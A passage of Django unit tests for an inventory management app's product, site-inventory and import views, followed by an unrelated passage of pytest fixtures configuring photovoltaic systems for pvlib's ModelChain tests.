self.assertRedirects(response, reverse('ims:products',) + '?' + urlencode({'page':1,}), status_code = 302, target_status_code = 200) def test_product_add_post(self): print 'running ProductAddViewTests.test_product_add_post... ' perms = ['add_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'quantityOfMeasure': 1, 'unitOfMeasure': 'EACH', 'code': 'D11', 'Save': 'Save', 'name': 'test product'} request = self.factory.post(reverse('ims:product_add'), postData, follow = False) request.user = self.user add_session_to_request(request) response = product_add(request) resultInfo = request.session['infoMessage'] self.assertIn('Successfully saved product.', resultInfo, 'IMS product_add view didn''t generate the correct info when saving.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:product_detail', kwargs={'code':'D11'}) + '?' + urlencode({'page':1, 'picture':'False'}), status_code = 302, target_status_code = 200) def test_product_add_post_no_change(self): print 'running ProductAddViewTests.test_product_add_post_no_change... ' perms = ['add_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'Save':'Save'} response = self.client.post(reverse('ims:product_add'), postData, follow = False) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('More information required before product can be added', resultWarning, 'IMS product_add view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_product_add_post_with_error_message(self): print 'running ProductAddViewTests.test_product_add_post_with_error_message... ' perms = ['add_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') postData = {'quantityOfMeasure': 1, 'unitOfMeasure': 'EACH', 'code': 'D11', 'Save': 'Save', 'name': 'test product'} request = self.factory.post(reverse('ims:product_add'), postData, follow = False) request.user = self.user add_session_to_request(request) request.session['errorMessage'] = 'Error' response = product_add(request) response.client = self.client self.assertRedirects(response, reverse('ims:products',) + '?' + urlencode({'page':1,}), status_code = 302, target_status_code = 200) def test_product_add_post_without_add_productinformation_perm(self): print 'running ProductAddViewTests.test_product_add_post_without_add_productinformation_perm... ' self.client.login(username='testUser', password='12345678') postData = {'quantityOfMeasure': 1, 'unitOfMeasure': 'EACH', 'code': 'D11', 'Save': 'Save', 'name': 'test product'} request = self.factory.post(reverse('ims:product_add'), postData, follow = False) request.user = self.user add_session_to_request(request) response = product_add(request) resultInfo = request.session['errorMessage'] self.assertIn('You don''t have permission to add new products', resultInfo, 'IMS product_add view didn''t generate the correct error when saving.\nactual message = %s' % resultInfo) response.client = self.client self.assertRedirects(response, reverse('ims:products',) + '?' + urlencode({'page':1,}), status_code = 302, target_status_code = 200) class ProductDetailViewTests(TestCase): """ ims_tests for product_detail view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_product_detail_get(self): print 'running ProductDetailViewTests.test_product_detail_get... ' self.client.login(username='testUser', password='12345678') product = ProductInformation(code='D11') product.save() code="D11" response=self.client.get(reverse('ims:product_detail', kwargs = {'code':code,}), follow=True) self.assertEqual(response.status_code, 200, "Product Detail View didn't return status code 200 with a valid product code.") def test_product_detail_get_with_filter_and_no_sites(self): print 'running ProductDetailViewTests.test_product_detail_get_with_filter_and_no_sites... ' self.client.login(username='testUser', password='12345678') product = ProductInformation(code='D11') product.save() code="D11" response=self.client.get(reverse('ims:product_detail', kwargs = {'code':code,}) + '?searchField=site__name&searchValue=blah', follow = False,) self.assertEqual(response.status_code, 200,) def test_product_detail_get_with_bad_filter(self): print 'running ProductDetailViewTests.test_product_detail_get_with_bad_filter... ' self.client.login(username='testUser', password='12345678') code="D11" product = ProductInformation(code=code) product.save() site = Site(name='test site') site.save() site.add_inventory(product = product, quantity = 1, modifier = self.user.username) request=self.factory.get(reverse('ims:product_detail', kwargs = {'code':code,}) + '?searchField=site__name&searchValue=blah', follow = False) request.user = self.user add_session_to_request(request) response = product_detail(request, code = code) resultWarning = request.session['warningMessage'] self.assertIn('No sites found using filter criteria.<br/>Showing all sites.', resultWarning, 'IMS product detail view didn''t generate the correct warning.\nactual message = %s' % resultWarning) response.client = self.client self.assertRedirects(response, reverse('ims:product_detail', kwargs = {'code':code,}) + '?page=1&picture=False', status_code = 302, target_status_code = 200) def test_product_detail_get_with_filter(self): print 'running ProductDetailViewTests.test_product_detail_get_with_filter... ' self.client.login(username='testUser', password='12345678') code="D11" product = ProductInformation(code=code) product.save() site = Site(name='test site') site.save() site.add_inventory(product = product, quantity = 1, modifier = self.user.username) response=self.client.get(reverse('ims:product_detail', kwargs = {'code':code,}) + '?searchField=site__name&searchValue=test', follow = False) self.assertEqual(response.status_code, 200,) def test_product_detail_get_with_invalid_product(self): print 'running ProductDetailViewTests.test_product_detail_get_with_invalid_product... ' self.client.login(username='testUser', password='12345678') code="D11" request=self.factory.get(reverse('ims:product_detail', kwargs = {'code':code,}), follow = False) request.user = self.user add_session_to_request(request) response = product_detail(request, code = code) resultError = request.session['errorMessage'] self.assertIn('Product %s does not exist.' % code, resultError, 'IMS product detail view didn''t generate the correct warning.\nactual message = %s' % resultError) response.client = self.client self.assertRedirects(response, reverse('ims:products',), status_code = 302, target_status_code = 200) def test_product_detail_get_when_sites_have_inventory(self): print 'running ProductDetailViewTests.test_product_detail_get_when_sites_have_inventory... ' self.client.login(username='testUser', password='12345678') (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=3, numProducts=1, numItems=1) product = createdProducts[0] response=self.client.get(reverse('ims:product_detail', kwargs = {'code':product.code,}) + '?searchField=site__name&searchValue=test', follow = False) self.assertEqual(response.status_code, 200,) self.assertEqual(len(response.context['paginatedItems']), len(createdSites)) def test_product_detail_get_after_deleting_inventory_from_site(self): print 'running ProductDetailViewTests.test_product_detail_get_after_deleting_inventory_from_site... ' self.client.login(username='testUser', password='12345678') (createdSites, createdProducts, createdInventory, __)=create_products_with_inventory_items_for_sites( numSites=3, numProducts=1, numItems=1) product = createdProducts[0] createdInventory[0].deleted = True createdInventory[0].save() response=self.client.get(reverse('ims:product_detail', kwargs = {'code':product.code,}) + '?searchField=site__name&searchValue=test', follow = False) self.assertEqual(response.status_code, 200,) self.assertEqual(len(response.context['paginatedItems']), len(createdSites) - 1) def test_product_detail_post_save(self): print 'running ProductDetailViewTests.test_product_detail_post_save... ' perms = ['change_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' productName = 'test product' product = ProductInformation(name = productName, code = code) product.save() postData = {'quantityOfMeasure': 1, 'unitOfMeasure': 'EACH', 'code': code, 'Save': 'Save', 'name': productName} request=self.factory.post(reverse('ims:product_detail', kwargs = {'code':code,}), postData, follow=False) request.user = self.user add_session_to_request(request) response = product_detail(request, code = code) resultInfo = request.session['infoMessage'] self.assertIn('Successfully saved product information changes.', resultInfo, 'IMS product detail view didn''t generate the correct info.\nactual message = %s' % resultInfo) response.client = self.client picture = 'picture=False' filterQuery = '' self.assertRedirects(response, reverse('ims:product_detail', kwargs={'code':code,}) + '?' + picture + '&' + filterQuery, 302, 200) def test_product_detail_post_save_invalid_fields(self): print 'running ProductDetailViewTests.test_product_detail_post_save_invalid_fields... ' perms = ['change_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' productName = 'test product' product = ProductInformation(name = productName, code = code) product.save() postData = {'quantityOfMeasure': 1, 'unitOfMeasure': 'EACH', 'code': '', 'Save': 'Save', 'name': productName} response=self.client.post(reverse('ims:product_detail', kwargs = {'code':code,}), postData, follow=False) self.assertEqual(response.status_code, 200) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('More information required before the product can be saved', resultWarning, 'IMS product detail view didn''t generate the correct warning.\nactual message = %s' % resultWarning) #TODO: figure out why this sets productForm.has_changed() = True # def test_product_detail_post_no_change(self): # print 'running ProductDetailViewTests.test_product_detail_post_no_change... ' # perms = ['change_productinformation'] # permissions = Permission.objects.filter(codename__in = perms) # self.user.user_permissions=permissions # self.client.login(username='testUser', password='12345678') # code = 'D11' # productName = 'test product' # product = ProductInformation(name = productName, # code = code,) # product.save() # postData = {'Save':'Save',} # response=self.client.post(reverse('ims:product_detail', # kwargs = # {'code':code,}), # postData, # follow=False) # self.assertEqual(response.status_code, 200) # resultWarning = get_announcement_from_response(response=response, # cls="warningnote") # self.assertIn('No changes made to the product information.', # resultWarning, # 'IMS product detail view didn''t generate the correct warning.\nactual message = %s' % # resultWarning) def test_product_detail_post_without_change_productinformation_perm(self): print 'running ProductDetailViewTests.test_product_detail_post_without_change_productinformation_perm... ' self.client.login(username='testUser', password='12345678') code = 'D11' productName = 'test product' product = ProductInformation(name = productName, code = code,) product.save() postData = {'Save':'Save',} response=self.client.post(reverse('ims:product_detail', kwargs = {'code':code,}), postData, follow=False) self.assertEqual(response.status_code, 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('You don''t have permission to change product information.', resultError, 'IMS product detail view didn''t generate the correct error.\nactual message = %s' % resultError) def test_product_detail_post_save_check_modification_date(self): print 'running ProductDetailViewTests.test_product_detail_post_save_check_modification_date... ' perms = ['change_productinformation'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' productName = 'test product' product = ProductInformation(name = productName, code = code) # back date the modified field product.modified = timezone.now() - timedelta(days = 1) creationDate = product.modified.date() product.save() # now we change th eproduct and see if the modified date changes postData = {'quantityOfMeasure': 1, 'unitOfMeasure': 'EACH', 'code': code, 'Save': 'Save', 'name': productName} request=self.factory.post(reverse('ims:product_detail', kwargs = {'code':code,}), postData, follow=False) request.user = self.user add_session_to_request(request) product_detail(request, code = code) product = ProductInformation.objects.get(pk = code) changeDate = product.modified.date() deltaDays = (changeDate - creationDate).days self.assertEqual(deltaDays, 1, 'IMS product detail view didn''t change the modification date after change') class ProductSelectAddSiteViewTests(TestCase): """ ims_tests for product_select_add_site view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_product_select_add_site_get(self): print 'running ProductSelectAddSiteViewTests.test_product_select_add_site_get... ' self.client.login(username='testUser', password='12345678') code = 'D11' productName = 'test product' product = ProductInformation(name = productName, code = code,) product.save() site1 = Site(name = 'test site 1') site1.save() site2 = Site(name = 'test site 2') site2.save() response=self.client.get(reverse('ims:product_select_add_site', kwargs={'code':code}), follow=False) self.assertEquals(response.status_code, 200) def test_product_select_add_site_get_bad_product(self): print 'running ProductSelectAddSiteViewTests.test_product_select_add_site_get_bad_product... ' self.client.login(username='testUser', password='12345678') code = 'D11' request=self.factory.get(reverse('ims:product_select_add_site', kwargs={'code':code}), follow=False) request.user = self.user add_session_to_request(request) response = product_select_add_site(request, code = code) resultError = request.session['errorMessage'] self.assertIn('Product %s does not exist.' % code, resultError, 'IMS product_select_add_site view didn''t generate the correct error.\nactual message = %s' % resultError) response.client = self.client self.assertRedirects(response,reverse('ims:products'), status_code = 302, target_status_code = 200) def test_product_select_add_site_single_site(self): print 'running ProductSelectAddSiteViewTests.test_product_select_add_site_single_site... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' productName = 'test product' product = ProductInformation(name = productName, code = code,) product.save() site = Site(name = 'test site 1') site.save() response=self.client.get(reverse('ims:product_select_add_site', kwargs={'code':code}), follow=False) self.assertRedirects(response,reverse('ims:products_add_to_site_inventory', kwargs={'siteId':site.pk}) + '?' + urlencode({'code':product.pk}), status_code = 302, target_status_code = 200) def test_product_select_add_site_no_sites(self): print 'running ProductSelectAddSiteViewTests.test_product_select_add_site_no_sites... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') code = 'D11' productName = 'test product' product = ProductInformation(name = productName, code = code,) product.save() request=self.factory.get(reverse('ims:product_select_add_site', kwargs={'code':code}), follow=False) request.user = self.user add_session_to_request(request) response = product_select_add_site(request, code = code) resultWarning = request.session['warningMessage'] self.assertIn('No sites found.', resultWarning, 'IMS product_select_add_site view didn''t generate the correct warning.\nactual message = %s' % resultWarning) response.client = self.client self.assertRedirects(response,reverse('ims:product_detail', kwargs={'code':product.code,}), status_code = 302, target_status_code = 200) class ProductsAddToSiteInventoryViewTests(TestCase): """ ims_tests for products_add_to_site_inventory view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_products_add_to_site_inventory_get(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_get... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') site = Site(name = 'test site') site.save() productName = 'test product' code = 'D11' product = ProductInformation(name = productName, code = code) product.save() response=self.client.get(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':site.pk,}) + '?' + urlencode({'code':code}), follow=True) self.assertEqual(response.status_code, 200) def test_products_add_to_site_inventory_get_without_add_inventoryitem_perm(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_get_without_add_inventoryitem_perm... ' self.client.login(username='testUser', password='12345678') productName = 'test product' code = 'D11' site = Site(name = 'test site') site.save() product = ProductInformation(name = productName, code = code) product.save() request=self.factory.get(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':site.pk,}) + '?' + urlencode({'code':code}), follow=False) request.user = self.user add_session_to_request(request) response = products_add_to_site_inventory(request, siteId = site.pk) resultError = request.session['errorMessage'] self.assertIn('You don''t have permission to add to site inventory', resultError, 'IMS products_add_to_site_inventory view didn''t generate the correct error.\nactual message = %s' % resultError) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,}), status_code = 302, target_status_code = 200) def test_products_add_to_site_inventory_get_with_invalid_site(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_get_with_invalid_site... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') productName = 'test product' code = 'D11' siteNumber = 1 product = ProductInformation(name = productName, code = code) product.save() response=self.client.get(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':siteNumber,}) + '?' + urlencode({'code':code}), follow=True) self.assertRedirects(response, reverse('ims:sites'), status_code = 302, target_status_code = 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('Site %d does not exist' % siteNumber, resultError, 'IMS products_add_to_site_inventory view didn''t generate the correct error when an invalid site was requested.\nactual message = %s' % resultError) def test_products_add_to_site_inventory_get_with_invalid_product(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_get_with_invalid_product... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') siteName = 'test site' code = 'D11' site = Site(name = siteName) site.save() response=self.client.get(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':site.number,}) + '?' + urlencode({'code':code}), follow=True) self.assertRedirects(response, reverse('ims:products'), status_code = 302, target_status_code = 200) resultError = get_announcement_from_response(response=response, cls="errornote") self.assertIn('No valid products selected', resultError, 'IMS products_add_to_site_inventory view didn''t generate the correct error when an invalid product was requested.\nactual message = %s' % resultError) def test_products_add_to_site_inventory_post(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_post... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') # populate the database with some data (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] # create another product that has not been added to a site yet productName = 'another product' code = 'D11' product = ProductInformation(name = productName, code = code) product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': [len(createdProducts)], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'Save Inventory':'Save Inventory',} addItemDict = {} addItemDict['codes'] = [] siteInventory = site.latest_inventory() for index in range(len(siteInventory)): addItemDict['codes'].append(siteInventory[index].information.pk) addItemDict['form-%d-code' % index] = [siteInventory[index].information.pk] addItemDict['form-%d-Quantity' % index] = [siteInventory[index].quantity] postData.update(addItemDict) request=self.factory.post(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':site.pk,}), postData, follow=False) request.user = self.user add_session_to_request(request) response = products_add_to_site_inventory(request, siteId = site.pk) resultInfo = request.session['infoMessage'] successfullAdditions = re.findall('Successfully added product', resultInfo, re.M | re.DOTALL) self.assertEqual(len(successfullAdditions), len(createdProducts)) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,}), status_code = 302, target_status_code = 200) def test_products_add_to_site_inventory_post_invalid_data(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_post_invalid_data... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') # populate the database with some data (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] # create another product that has not been added to a site yet productName = 'another product' code = 'D11' product = ProductInformation(name = productName, code = code) product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': [len(createdProducts)], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'Save Inventory':'Save Inventory',} addItemDict = {} addItemDict['codes'] = [] siteInventory = site.latest_inventory() for index in range(len(siteInventory)): addItemDict['codes'].append(siteInventory[index].information.pk) addItemDict['form-%d-code' % index] = [siteInventory[index].information.pk] addItemDict['form-%d-Quantity' % index] = '' postData.update(addItemDict) response=self.client.post(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':site.pk,}), postData, follow=False) resultWarning = get_announcement_from_response(response=response, cls="warningnote") self.assertIn('More information required before the inventory can be saved', resultWarning, 'IMS products_add_to_site_inventory view didn''t generate the correct warning.\nactual message = %s' % resultWarning) def test_products_add_to_site_inventory_post_without_add_inventoryitem_perm(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_post_without_add_inventoryitem_perm... ' self.client.login(username='testUser', password='12345678') # populate the database with some data (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] # create another product that has not been added to a site yet productName = 'another product' code = 'D11' product = ProductInformation(name = productName, code = code) product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': [len(createdProducts)], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'Save Inventory':'Save Inventory',} addItemDict = {} addItemDict['codes'] = [] siteInventory = site.latest_inventory() for index in range(len(siteInventory)): addItemDict['codes'].append(siteInventory[index].information.pk) addItemDict['form-%d-code' % index] = [siteInventory[index].information.pk] addItemDict['form-%d-Quantity' % index] = [siteInventory[index].quantity] postData.update(addItemDict) request=self.factory.post(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':site.pk,}), postData, follow=False) request.user = self.user add_session_to_request(request) response = products_add_to_site_inventory(request, siteId = site.pk) resultError = request.session['errorMessage'] self.assertIn('You don''t have permission to add to site inventory', resultError, 'IMS products_add_to_site_inventory view didn''t generate the correct error.\nactual message = %s' % resultError) response.client = self.client self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,}), status_code = 302, target_status_code = 200) def test_products_add_to_site_inventory_post_cancel(self): print 'running ProductsAddToSiteInventoryViewTests.test_products_add_to_site_inventory_post_cancel... ' perms = ['add_inventoryitem',] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') # populate the database with some data (createdSites, createdProducts, __, __)=create_products_with_inventory_items_for_sites( numSites=1, numProducts=1, numItems=1) site = createdSites[0] # create another product that has not been added to a site yet productName = 'another product' code = 'D11' product = ProductInformation(name = productName, code = code) product.save() postData = {'form-MAX_NUM_FORMS': ['1000'], 'form-TOTAL_FORMS': [len(createdProducts)], 'form-MIN_NUM_FORMS': ['0'], 'form-INITIAL_FORMS': ['1'], 'Cancel':'Cancel',} addItemDict = {} addItemDict['codes'] = [] siteInventory = site.latest_inventory() for index in range(len(siteInventory)): addItemDict['codes'].append(siteInventory[index].information.pk) addItemDict['form-%d-code' % index] = [siteInventory[index].information.pk] addItemDict['form-%d-Quantity' % index] = [siteInventory[index].quantity] postData.update(addItemDict) response=self.client.post(reverse('ims:products_add_to_site_inventory', kwargs = {'siteId':site.pk,}), postData, follow=False) self.assertRedirects(response, reverse('ims:site_detail', kwargs={'siteId':site.pk,}), status_code = 302, target_status_code = 200) class ImportSitesViewTests(TestCase): """ ims_tests for import_sites view """ def setUp(self): # Most ims_tests need access to the request factory and/or a user. self.factory = RequestFactory() self.user = User.objects.create_user( username='testUser', password='12345678') def test_import_sites_warning_with_file_and_perms(self): print 'running ImportSitesViewTests.test_import_sites_warning_with_file_and_perms... ' perms = ['add_site', 'change_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') with open(os.path.join( APP_DIR, 'testData/sites_add_site1_site2_site3.xls'))as fp: response=self.client.post(reverse('ims:import_sites'), {'Import':'Import','file':fp}, follow=True) queriedSites=Site.objects.all() # check that we saved 3 sites self.assertEqual( queriedSites.count(), 3, 'Number of imported sites mismatch. Some sites didn''t get stored.') resultWarning = get_announcement_from_response(response=response, cls="errornote") self.assertEqual(resultWarning, '', 'import_sites view generated a warning with a valid file and user.\nactual warning message = %s' % resultWarning) def test_import_sites_warning_file_with_dups(self): print 'running ImportSitesViewTests.test_import_sites_warning_file_with_dups... ' perms = ['add_site', 'change_site'] permissions = Permission.objects.filter(codename__in = perms) self.user.user_permissions=permissions self.client.login(username='testUser', password='12345678') with open( os.path.join( APP_DIR, 'testData/sites_add_site1_site2_site3_site3.xls')) as fp: response=self.client.post(reverse('ims:import_sites
codeparrot/github-code-clean
import sys import numpy as np import pandas as pd from pvlib import iam, modelchain, pvsystem, temperature, inverter from pvlib.modelchain import ModelChain from pvlib.pvsystem import PVSystem from pvlib.tracking import SingleAxisTracker from pvlib.location import Location from pvlib._deprecation import pvlibDeprecationWarning from .conftest import assert_series_equal, assert_frame_equal import pytest from .conftest import fail_on_pvlib_version @pytest.fixture(scope='function') def sapm_dc_snl_ac_system(sapm_module_params, cec_inverter_parameters, sapm_temperature_cs5p_220m): module = 'Canadian_Solar_CS5P_220M___2009_' module_parameters = sapm_module_params.copy() temp_model_params = sapm_temperature_cs5p_220m.copy() system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module=module, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=cec_inverter_parameters) return system @pytest.fixture def cec_dc_snl_ac_system(cec_module_cs5p_220m, cec_inverter_parameters, sapm_temperature_cs5p_220m): module_parameters = cec_module_cs5p_220m.copy() module_parameters['b'] = 0.05 module_parameters['EgRef'] = 1.121 module_parameters['dEgdT'] = -0.0002677 temp_model_params = sapm_temperature_cs5p_220m.copy() system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module=module_parameters['Name'], module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=cec_inverter_parameters) return system @pytest.fixture def cec_dc_snl_ac_arrays(cec_module_cs5p_220m, cec_inverter_parameters, sapm_temperature_cs5p_220m): module_parameters = cec_module_cs5p_220m.copy() module_parameters['b'] = 0.05 module_parameters['EgRef'] = 1.121 module_parameters['dEgdT'] = -0.0002677 temp_model_params = sapm_temperature_cs5p_220m.copy() array_one = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=32.2, surface_azimuth=180), module=module_parameters['Name'], module_parameters=module_parameters.copy(), temperature_model_parameters=temp_model_params.copy() ) array_two = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=42.2, surface_azimuth=220), module=module_parameters['Name'], module_parameters=module_parameters.copy(), temperature_model_parameters=temp_model_params.copy() ) system = PVSystem( arrays=[array_one, array_two], inverter_parameters=cec_inverter_parameters ) return system @pytest.fixture def cec_dc_native_snl_ac_system(cec_module_cs5p_220m, cec_inverter_parameters, sapm_temperature_cs5p_220m): module_parameters = cec_module_cs5p_220m.copy() temp_model_params = sapm_temperature_cs5p_220m.copy() system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module=module_parameters['Name'], module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=cec_inverter_parameters) return system @pytest.fixture def pvsyst_dc_snl_ac_system(pvsyst_module_params, cec_inverter_parameters, sapm_temperature_cs5p_220m): module = 'PVsyst test module' module_parameters = pvsyst_module_params module_parameters['b'] = 0.05 temp_model_params = sapm_temperature_cs5p_220m.copy() system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module=module, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=cec_inverter_parameters) return system @pytest.fixture def pvsyst_dc_snl_ac_arrays(pvsyst_module_params, cec_inverter_parameters, sapm_temperature_cs5p_220m): module = 'PVsyst test module' module_parameters = pvsyst_module_params module_parameters['b'] = 0.05 temp_model_params = sapm_temperature_cs5p_220m.copy() array_one = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=32.2, surface_azimuth=180), module=module, module_parameters=module_parameters.copy(), temperature_model_parameters=temp_model_params.copy() ) array_two = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=42.2, surface_azimuth=220), module=module, module_parameters=module_parameters.copy(), temperature_model_parameters=temp_model_params.copy() ) system = PVSystem( arrays=[array_one, array_two], inverter_parameters=cec_inverter_parameters ) return system @pytest.fixture def cec_dc_adr_ac_system(sam_data, cec_module_cs5p_220m, sapm_temperature_cs5p_220m): module_parameters = cec_module_cs5p_220m.copy() module_parameters['b'] = 0.05 module_parameters['EgRef'] = 1.121 module_parameters['dEgdT'] = -0.0002677 temp_model_params = sapm_temperature_cs5p_220m.copy() inverters = sam_data['adrinverter'] inverter = inverters['Zigor__Sunzet_3_TL_US_240V__CEC_2011_'].copy() system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module=module_parameters['Name'], module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=inverter) return system @pytest.fixture def pvwatts_dc_snl_ac_system(cec_inverter_parameters): module_parameters = {'pdc0': 220, 'gamma_pdc': -0.003} system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, inverter_parameters=cec_inverter_parameters) return system @pytest.fixture(scope="function") def pvwatts_dc_pvwatts_ac_system(sapm_temperature_cs5p_220m): module_parameters = {'pdc0': 220, 'gamma_pdc': -0.003} temp_model_params = sapm_temperature_cs5p_220m.copy() inverter_parameters = {'pdc0': 220, 'eta_inv_nom': 0.95} system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=inverter_parameters) return system @pytest.fixture(scope="function") def pvwatts_dc_pvwatts_ac_system_arrays(sapm_temperature_cs5p_220m): module_parameters = {'pdc0': 220, 'gamma_pdc': -0.003} temp_model_params = sapm_temperature_cs5p_220m.copy() inverter_parameters = {'pdc0': 220, 'eta_inv_nom': 0.95} array_one = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=32.2, surface_azimuth=180), module_parameters=module_parameters.copy(), temperature_model_parameters=temp_model_params.copy() ) array_two = pvsystem.Array( mount=pvsystem.FixedMount(surface_tilt=42.2, surface_azimuth=220), module_parameters=module_parameters.copy(), temperature_model_parameters=temp_model_params.copy() ) system = PVSystem( arrays=[array_one, array_two], inverter_parameters=inverter_parameters) return system @pytest.fixture(scope="function") def pvwatts_dc_pvwatts_ac_faiman_temp_system(): module_parameters = {'pdc0': 220, 'gamma_pdc': -0.003} temp_model_params = {'u0': 25.0, 'u1': 6.84} inverter_parameters = {'pdc0': 220, 'eta_inv_nom': 0.95} system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=inverter_parameters) return system @pytest.fixture(scope="function") def pvwatts_dc_pvwatts_ac_pvsyst_temp_system(): module_parameters = {'pdc0': 220, 'gamma_pdc': -0.003} temp_model_params = {'u_c': 29.0, 'u_v': 0.0, 'module_efficiency': 0.1, 'alpha_absorption': 0.9} inverter_parameters = {'pdc0': 220, 'eta_inv_nom': 0.95} system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=inverter_parameters) return system @pytest.fixture(scope="function") def pvwatts_dc_pvwatts_ac_fuentes_temp_system(): module_parameters = {'pdc0': 220, 'gamma_pdc': -0.003} temp_model_params = {'noct_installed': 45} inverter_parameters = {'pdc0': 220, 'eta_inv_nom': 0.95} system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=inverter_parameters) return system @pytest.fixture(scope="function") def pvwatts_dc_pvwatts_ac_noct_sam_temp_system(): module_parameters = {'pdc0': 220, 'gamma_pdc': -0.003} temp_model_params = {'noct': 45, 'module_efficiency': 0.2} inverter_parameters = {'pdc0': 220, 'eta_inv_nom': 0.95} system = PVSystem(surface_tilt=32.2, surface_azimuth=180, module_parameters=module_parameters, temperature_model_parameters=temp_model_params, inverter_parameters=inverter_parameters) return system @pytest.fixture(scope="function") def 